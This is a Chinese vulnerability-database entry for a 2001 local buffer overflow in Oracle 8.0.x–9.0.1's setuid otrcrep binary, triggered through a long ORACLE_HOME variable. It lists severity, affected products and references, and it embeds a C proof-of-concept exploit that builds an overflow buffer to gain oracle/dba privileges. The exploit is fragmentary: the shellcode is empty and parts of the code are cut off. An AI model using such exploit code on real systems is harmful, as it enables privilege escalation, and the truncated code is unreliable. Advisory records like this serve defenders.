发布时间 :2001-12-06 00:00:00
修订时间 :2018-05-02 21:29:14

[原文]Buffer overflow in otrcrep in Oracle 8.0.x through 9.0.1 allows local users to execute arbitrary code via a long ORACLE_HOME environment variable, aka the "Oracle Trace Collection Security Vulnerability."

[CNNVD]Oracle OTRCREP Oracle Home环境变量缓冲区溢出漏洞(CNNVD-200112-023)

        Oracle 8.0.x到9.0.1版本的otrcrep存在缓冲区溢出漏洞。本地用户借助超长ORACLE_HOME环境变量执行任意代码,也称为“Oracle踪迹收集安全漏洞”。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:oracle:database_server:8.0Oracle Database Server 8.0
cpe:/a:oracle:database_server:8.1Oracle Database Server 8.1
cpe:/a:oracle:database_server:9.0.1Oracle Database Server 9.0.1

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20011023 FW: ASI Oracle Security Alert: 3 new security alerts
(UNKNOWN)  BUGTRAQ  20010802 vulnerability in otrcrep binary in Oracle 8.0.5.
(UNKNOWN)  BUGTRAQ  20011024 Oracle Trace Collection Security Vulnerability
(UNKNOWN)  BID  3139
(UNKNOWN)  XF  oracle-binary-symlink(6940)

- 漏洞信息

Oracle OTRCREP Oracle Home环境变量缓冲区溢出漏洞
高危 缓冲区溢出
2001-12-06 00:00:00 2005-10-12 00:00:00
        Oracle 8.0.x到9.0.1版本的otrcrep存在缓冲区溢出漏洞。本地用户借助超长ORACLE_HOME环境变量执行任意代码,也称为“Oracle踪迹收集安全漏洞”。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: .

- 漏洞信息 (21045)

Oracle OTRCREP Oracle 8/9 Home Environment Variable Buffer Overflow Vulnerability (EDBID:21045)
unix local
2001-08-02 Verified
0 Juan Manuel Pascual Escribá
N/A [点击下载]

Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.

A buffer overflow has been discovered in the handling of $ORACLE_HOME by otrcrep. otrcrep is installed with the Oracle suite as a SUID oracle SGID dba binary. This buffer overflow may be exploited by a local user to overwrite stack variables, including the return address, and execute arbitrary code with the privileges of user oracle and group dba.

 * This vulnerability was researched by:
 * Juan Manuel Pascual Escriba <>
 * cc -o evolut otrcrep.c; ./evolut 300 0

#include <stdio.h>
#include <stdlib.h>

#define BUFFER		               300 
#define OFFSET			       0 
#define NOP                            0x90
#define BINARY	"/home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG"
#define ORACLE_HOME "/home/oracle/app/oracle/product/8.0.5"

char shellcode[] =

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");

 /* void main(int argc, char *argv[]) { */
void main() {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");

  addr = get_sp() -1420 -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;


ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';


- 漏洞信息

Oracle Database otrcrep ORACLE_HOME Variable Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-08-02 Unknow
Unknow Unknow

- 解决方案


Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete